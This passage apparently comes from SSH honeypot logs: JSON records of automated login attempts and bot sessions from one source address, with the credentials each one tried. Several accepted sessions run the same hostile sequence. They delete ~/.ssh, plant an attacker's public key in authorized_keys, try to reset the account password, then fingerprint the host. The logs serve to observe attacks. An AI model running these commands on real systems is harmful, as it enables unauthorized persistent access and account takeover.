-l"},{"seq":22,"at":"2026-08-27T11:23:40.468134+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:23:40.732913+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:23:42.489393+00:00","kind":"output","latency_ms":null,"data":"top - 11:23:42 up 7 days, 8:13, 0 user, load average: 0.2, 0.24, 0.18\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:23:42.755616+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:23:44.487774+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:23:44.755281+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:23:46.701559+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:23:46.966002+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:23:48.944632+00:00","kind":"output","latency_ms":null,"data":"pc"},{"seq":31,"at":"2026-08-27T11:23:49.209637+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:23:50.648595+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:23:50.913544+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:23:52.790451+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pc","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"6d33bbab-0798-4389-a569-b7ec3cc5d0ed","name":"barren-rustic-crane","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55558,"username":"pc","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:23:25.139244+00:00","ended_at":"2026-08-27T11:23:26.453467+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pc","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"089df90b-985c-492f-b60b-a4a6f4f9e6fa","name":"fickle-fringed-coyote","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55550,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:23:23.527075+00:00","ended_at":"2026-08-27T11:23:24.611024+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"06819c64-1c2e-4244-8d27-8af746526dd0","name":"faded-supple-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":60158,"username":"es","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:21:53.904943+00:00","ended_at":"2026-08-27T11:21:54.796116+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2165,"events":[{"seq":1,"at":"2026-08-27T11:21:24.022249+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:21:24.286062+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:21:28.351772+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:21:29.377825+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:21:29.640811+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwe123!@#\\nfO8uh9Hz9Z1b\\nfO8uh9Hz9Z1b\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:21:29.903404+00:00","kind":"input","latency_ms":null,"data":"echo \"qwe123!@#\\nfO8uh9Hz9Z1b\\nfO8uh9Hz9Z1b\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:21:30.166825+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:21:30.969403+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:21:31.617149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:21:32.038533+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:21:32.301949+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:21:34.283828+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:21:34.549240+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:21:36.661226+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:21:36.924962+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:21:39.078642+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:21:39.343713+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:21:40.764163+00:00","kind":"output","latency_ms":null,"data":" 11:21:40 up 7 days, 8:11, 0 user, load average: 0.22, 0.2, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:21:41.025285+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:21:42.484367+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:21:42.747226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:21:44.343613+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:21:44.604720+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:21:45.475704+00:00","kind":"output","latency_ms":null,"data":"top - 11:21:45 up 7 days, 8:11, 0 user, load average: 0.22, 0.2, 0.15\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:21:45.738726+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:21:47.839248+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:21:48.102122+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:21:49.776556+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:21:50.044363+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:21:51.543616+00:00","kind":"output","latency_ms":null,"data":"es"},{"seq":31,"at":"2026-08-27T11:21:51.803451+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:21:53.641936+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:21:53.906725+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:21:54.718796+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"es","password":"qwe123!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"638a7570-1692-4edc-9668-ad21a75e64c7","name":"wiry-blunt-vulture","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":35752,"username":"es","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:21:27.119087+00:00","ended_at":"2026-08-27T11:21:28.275008+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"es","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e44f1f6a-f102-443f-af43-1d04c5240fd9","name":"tangled-feral-ouzel","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":60162,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:21:24.889554+00:00","ended_at":"2026-08-27T11:21:26.590605+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"10b309e8-a210-4ea5-9afb-99553f4e9272","name":"hidden-vernal-boar","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38484,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":259,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:19:55.134526+00:00","ended_at":"2026-08-27T11:19:57.060505+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2156,"events":[{"seq":1,"at":"2026-08-27T11:19:26.060718+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:19:26.318764+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:19:30.557304+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:19:32.394583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:19:32.655160+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user@123\\nSKETNpAnEcsj\\nSKETNpAnEcsj\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:19:32.912684+00:00","kind":"input","latency_ms":null,"data":"echo \"user@123\\nSKETNpAnEcsj\\nSKETNpAnEcsj\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:19:33.168613+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:19:33.770323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:19:34.050137+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:19:34.235426+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:19:34.495456+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:19:36.137317+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:19:36.398721+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:19:38.481963+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:19:38.744457+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:19:40.906714+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:19:41.169454+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:19:43.234108+00:00","kind":"output","latency_ms":null,"data":" 11:19:43 up 7 days, 8:09, 0 user, load average: 0.26, 0.22, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:19:43.497955+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:19:44.819254+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:19:45.078726+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:19:47.116625+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:19:47.376406+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:19:48.972436+00:00","kind":"output","latency_ms":null,"data":"top - 11:19:48 up 7 days, 8:09, 0 user, load average: 0.26, 0.22, 0.29\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:19:49.232402+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:19:50.531469+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:19:50.789404+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:19:52.807376+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:19:53.066682+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:19:53.736467+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":31,"at":"2026-08-27T11:19:53.995604+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:19:54.877033+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:19:55.135544+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:19:56.987155+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"user@123","method":"password","accepted":true,"tier":"other"}]} {"id":"0987db44-79d1-4897-b92d-2d06cb878fd7","name":"austere-murky-lemur","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":46274,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:19:28.959247+00:00","ended_at":"2026-08-27T11:19:30.483231+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9101d68f-4a89-49bf-8852-06cbfd0234ed","name":"sleepy-pristine-dotterel","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":46272,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:19:26.911568+00:00","ended_at":"2026-08-27T11:19:28.440763+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"31ecbce0-c621-4368-93f6-d98c1d670970","name":"dapper-scarlet-owl","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":34484,"username":"cri","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":275,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:17:55.068839+00:00","ended_at":"2026-08-27T11:17:56.991047+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2130,"events":[{"seq":1,"at":"2026-08-27T11:17:26.212539+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:17:26.486953+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:17:30.035995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:17:31.202024+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:17:31.476248+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cri\\nI1whFTEyi1kD\\nI1whFTEyi1kD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:17:31.751809+00:00","kind":"input","latency_ms":null,"data":"echo \"cri\\nI1whFTEyi1kD\\nI1whFTEyi1kD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:17:32.025512+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:17:32.825377+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:17:33.220474+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:17:33.928264+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:17:34.203175+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:17:35.678276+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:17:35.954871+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:17:37.961521+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:17:38.238754+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:17:39.718330+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:17:39.992360+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:17:41.621237+00:00","kind":"output","latency_ms":null,"data":" 11:17:41 up 7 days, 8:07, 0 user, load average: 0.3, 0.31, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:17:41.896990+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:17:43.456399+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:17:43.731901+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:17:45.795053+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:17:46.070072+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:17:47.768510+00:00","kind":"output","latency_ms":null,"data":"top - 11:17:47 up 7 days, 8:07, 0 user, load average: 0.3, 0.31, 0.2\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:17:48.047297+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:17:49.816319+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:17:50.095372+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:17:51.173216+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:17:51.447998+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:17:53.457992+00:00","kind":"output","latency_ms":null,"data":"cri"},{"seq":31,"at":"2026-08-27T11:17:53.733501+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:17:54.804470+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:17:55.069842+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:17:56.909824+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cri","password":"cri","method":"password","accepted":true,"tier":"other"}]} {"id":"2088b013-493b-467c-9430-642851a632e7","name":"fabled-tangled-onager","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":43192,"username":"cri","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:17:28.592570+00:00","ended_at":"2026-08-27T11:17:29.955331+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cri","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"97bf6352-2774-45c3-9000-7be6646f7f2c","name":"prairie-foggy-chamois","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":43184,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:17:27.093379+00:00","ended_at":"2026-08-27T11:17:28.085179+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8b27942d-0dcd-45e3-a7e8-f4ed857f93af","name":"indigo-lunar-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":41584,"username":"internet","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:15:51.417278+00:00","ended_at":"2026-08-27T11:15:52.767016+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2134,"events":[{"seq":1,"at":"2026-08-27T11:15:22.421823+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:15:22.673108+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:15:26.192961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc 